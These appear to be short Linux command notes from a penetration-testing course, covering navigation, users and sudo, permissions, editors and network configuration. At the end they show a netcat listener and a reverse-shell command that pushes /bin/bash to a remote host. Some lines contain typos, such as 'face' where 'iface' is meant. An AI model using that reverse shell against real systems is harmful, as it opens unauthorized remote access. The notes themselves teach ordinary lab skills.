Linux Command
Linux Command
File System
cd
cd ..
cd /
cd ~/Desktop
Man Pages
man ls
ls --help
User Privileges
adduser georgia
adduser georgia sudo
su geogia
adduser john
sudo adduser john
exit
File Permissions
ls -l myfile
Lrwxrwxrwx
u g o
Editing Files
nano testfile
^W Search
vi testfile
:wq
Data Manipulation
1 Derbycon September
2 Shmoocon January
3 Brucon September
4 Blackhat July
5 Bsides *
6 HackerHalted October
7 Hackcon April
Managing Networking
ifconfig
ip addr show
route
ifconfig eth0 down
ifconfig eth0 up
ifconfig eth0 up promisc
To renew DHCP address:
dhclient -v
dhclient eth0
To set a static IP address temporarily:
ifconfig eth0 192.168.1.100/24
To remove all addresses:
ip addr flush dev eth0
To set a static IP address persistently:
nano /etc/network/interfaces
auto eth0
face eth0 inet static
address 192.168.20.9 netmask 255.255.255.0
gateway 192.168.20.1
Viewing Network Connections
netstat -antp
Netcat
nc -lvp 1234
Push a shell to the listener:
nc 192.168.1.100 1234 -e /bin/bash
See 10 Useful IP Commands to Configure Network Interfaces